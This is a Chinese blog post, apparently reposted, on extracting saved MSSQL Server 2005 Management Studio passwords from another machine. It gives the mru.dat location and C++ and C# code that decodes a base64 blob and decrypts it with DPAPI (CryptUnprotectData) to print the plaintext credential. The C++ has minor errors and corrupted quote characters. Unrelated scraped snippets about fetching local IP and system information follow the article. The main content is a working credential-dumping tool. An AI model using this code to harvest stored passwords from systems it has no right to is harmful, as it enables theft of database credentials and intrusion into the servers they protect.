获取本机MSSQL保存凭证

本文转自王子博客:http://www.cnblogs.com/killbit/p/4355950.html

首先要感谢哥们对我的指点,多谢。

当我们遇到类似情况下,如何获取保存在MSSQL工具里的凭证呢?

 //如果对方连接地址后面加了IP\sqlexpress 连接的时候你也记得加上,不然即使密码正确,也会说登录失败。

通过和哥们讨论研究分析以及查找资料,知道了密码存放的地方:

C:\Users\Administrator\AppData\Roaming\Microsoft\Microsoft SQL Server\90\Tools\ShellSEM\mru.dat (当前MSSQL 连接工具为2005)

我们通过C32来查看MRU.DAT,会发现一串BASE64编码:

这个就是我们的保存的凭证,但是并不是直接还原BASE64就可以了,需要DECODE后还需要DPAPI来进行解密:

代码如下:

// Encode.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include <cstdlib>
#include <stdio.h>
#pragma comment(lib, "crypt32.lib")
using namespace std;

int Base64Decoder(char *input, unsigned char *output)
{
    char base64string[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    BYTE dataBuffer[4];
    BYTE outputBuffer[3];
    BYTE finalBuffer[1000];
    int count=0;
    int padCount=0;
    int length;

    length = strlen(input);

    //Validate the data for BASE64
    if( length % 4 )
    {
        printf("%s - Invalid base64 data is supplied %s (%d) ", input, length);
        return 0;
    }

    //count the no of padding
    if (input[length-1] == ‘=‘)
        padCount++;

    if (input[length-2] == ‘=‘)
        padCount++;

    // Process 4 chars in each loop to produce 3 chars
    for (int i=0; i < length; i += 4)
    {

        // Populate data buffer with position of Base64 characters for
        // next 4 bytes from encoded data
        for (int j=0; j < 4 && (i + j < length); j++)
            dataBuffer[j] = ( (int)strchr(base64string, input[i+j]) - (int)base64string );

        //Decode data buffer back into bytes
        outputBuffer[0] = (dataBuffer[0] << 2) + ((dataBuffer[1] & 0x30) >> 4);
        outputBuffer[1] = ((dataBuffer[1] & 0x0f) << 4) + ((dataBuffer[2] & 0x3c) >> 2);
        outputBuffer[2] = ((dataBuffer[2] & 0x03) << 6) + dataBuffer[3];

        // Add all non-padded bytes in output buffer to decoded data
        for (int k = 0; k < 3; k++)
            finalBuffer[count++]=outputBuffer[k];

    }

    count = count-padCount;

    //copy the decoded data into input buffer
    memcpy(output, finalBuffer, count);
    output[count]=‘\0‘;

    printf("Base64 decoded string is [%s] (%d) ", output, count);
    //    std::cout << "11111" << std::endl;
    std::cout << finalBuffer << std::endl;
    return count;
}

int main(int argc,char** argv)
{
    unsigned char output[1000] = {0};
    //Base64Decoder("ZnVja3lvdQ==",output);
    int i=Base64Decoder("AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAfKVVCtCkz0SDfRfzGeyufQAAAAAQAAAARABlAGYAYQB1AGwAdAAAABBmAAAAAQAAIAAAAIDhFHSsCl9qoM1CbxlSVXqLXSDUuBs5sCx2hzy+tnkuAAAAAA6AAAAAAgAAIAAAAAdEQoQTYAeQGJYMsDfuOJdLHMGK4VtTu6SOzbla/TZFEAAAAACxb3rEQZjUHOpYTlkfwnhAAAAASc5uN4LAZ9A2IZadYsBRG87JhQjbWaQLY18FKf0fbyRlxIEQmxJm+1FLBCep32aWY4qkPy+1aELhj6IjnbCq/A==",output);
    if (i == 0)
    {
        printf("Encode error\r\n");
        return -1;
    }

    DATA_BLOB DataPassword;
    DATA_BLOB DataOutput;
    DataPassword.cbData = i;
    DataPassword.pbData = output;

    if(CryptUnprotectData(&DataPassword,0,0,0,0,CRYPTPROTECT_UI_FORBIDDEN,&DataOutput)) //Crypt Mssql password
    {
        wcout << "Mssql credence Password Length: " << DataOutput.cbData << "\r\n";
        wcout << "Mssql credence Password: " << (wchar_t*)DataOutput.pbData;
    }else
    {
        wcout << "Error";     return -1;
    }
    return 0;

}

还有一份C#,是我哥们写的:

using System;
using System.Collections.Generic;
//using System.Linq;
using System.Text;

namespace Mssql
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine(Encoding.Unicode.GetString(System.Security.Cryptography.ProtectedData.Unprotect(Convert.FromBase64String("AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAfKVVCtCkz0SDfRfzGeyufQAAAAAQAAAARABlAGYAYQB1AGwAdAAAABBmAAAAAQAAIAAAAIDhFHSsCl9qoM1CbxlSVXqLXSDUuBs5sCx2hzy+tnkuAAAAAA6AAAAAAgAAIAAAAAdEQoQTYAeQGJYMsDfuOJdLHMGK4VtTu6SOzbla/TZFEAAAAACxb3rEQZjUHOpYTlkfwnhAAAAASc5uN4LAZ9A2IZadYsBRG87JhQjbWaQLY18FKf0fbyRlxIEQmxJm+1FLBCep32aWY4qkPy+1aELhj6IjnbCq/A=="), null, System.Security.Cryptography.DataProtectionScope.LocalMachine)));
        }
    }
}

还原后:

VC

C#

时间: 2024-08-01 22:45:32

获取本机MSSQL保存凭证的相关文章

获取本机CPU,硬盘等使用情况

早上的时候接到主管的一个任务,要获取服务器上的cpu,硬盘, 数据库等 的使用情况,并以邮件的方式发给boss, = =没办法,公司的服务器真是不敢恭维,顺便吐槽一下公司的网速,卡的时候30k左右徘徊,这不是在浪费我们的时间吗!!! 话不多说上代码,因为是实习,主管还是挺关照我的,一早就给我发了个类库(里面涉及到要查询本机信息的都有).这样我剩下了一大半的时间, 这个功能总的来说就两步:  一,先获取本机的信息    二,发送邮件. 获取本机信息用到的类库 SystemInfo.cs 和 Dis

iOS开发 - 获取真机沙盒数据

今天要获取之前真机测试时写入沙盒的数据, 本来以为挺麻烦的. 后来捣腾了一下, 才知道原来这么简单... 下面直接看具体步骤. 前提: 真机已经通过USB和你的电脑连接上了! 1.进入Organizer 2.选择你的应用. 并导出数据.(点击Download) 3.保存数据到相应位置.(点击Save) 4.打开, 查看数据. 保存完毕后, 你后发现一个这样的文件. 选中它, 右键---->显示包内容. 然后进入------->AppData ------>Documents. 即可看到你

linux编程获取本机网络相关参数

getifaddrs()和struct ifaddrs的使用,获取本机IP 博客分类: Linux C编程 ifaddrs结构体定义如下: C代码   struct ifaddrs { struct ifaddrs  *ifa_next;    /* Next item in list */ char            *ifa_name;    /* Name of interface */ unsigned int     ifa_flags;   /* Flags from SIOCG

Linux下 shell获取本机ip地址

方法二 /sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:" 方法一 获取本机ip地址地址,并保存到变量中 arg=ifconfig eth0 |grep "inet addr"| cut -f 2 -d ":"|cut -f 1 -d " " ipaddr=argechoipadd 这里假设你的 接

Linux 获取本机IP、MAC地址用法大全

getifaddrs()和struct ifaddrs的使用,获取本机IP ifaddrs结构体定义如下: C代码   struct ifaddrs { struct ifaddrs  *ifa_next;    /* Next item in list */ char            *ifa_name;    /* Name of interface */ unsigned int     ifa_flags;   /* Flags from SIOCGIFFLAGS */ struc

获取本机的IP地址(局域网)与主机名称

编写内容保存为bat @echo off &setlocal enabledelayedexpansion Rem '/*========获取本机的IP地址(局域网)=========*/ echo "please wait" for /f "tokens=2 delims=:" %%b in ('ipconfig^|find /i "ip"') do set fsip=%%b echo %fsip% set CT=%computerna

JAVA应用获取本机IP

在应用开发的时候如何获取本机的IP呢? 本人在开发一个线上系统的时候有这样的需求,办法很简单啊,google一下,于是乎有了下面的代码: 方案一: Enumeration<NetworkInterface> interfaces = NetworkInterface.getNetworkInterfaces(); if (interfaces != null) { while (interfaces.hasMoreElements()) { try { NetworkInterface net

获取本机IP地址

这里有两种方法: 1 //获取本机IP 2 - (NSString *)localIPAddress 3 { 4 NSString *localIP = nil; 5 struct ifaddrs *addrs; 6 if (getifaddrs(&addrs)==0) { 7 const struct ifaddrs *cursor = addrs; 8 while (cursor != NULL) { 9 if (cursor->ifa_addr->sa_family == AF_

js获取本机id

1 var hostname = location.hostname; 2 window.location.href="http://"+hostname+":8080/zhiban/aftweibo.jsp"; js获取本机id,布布扣,bubuko.com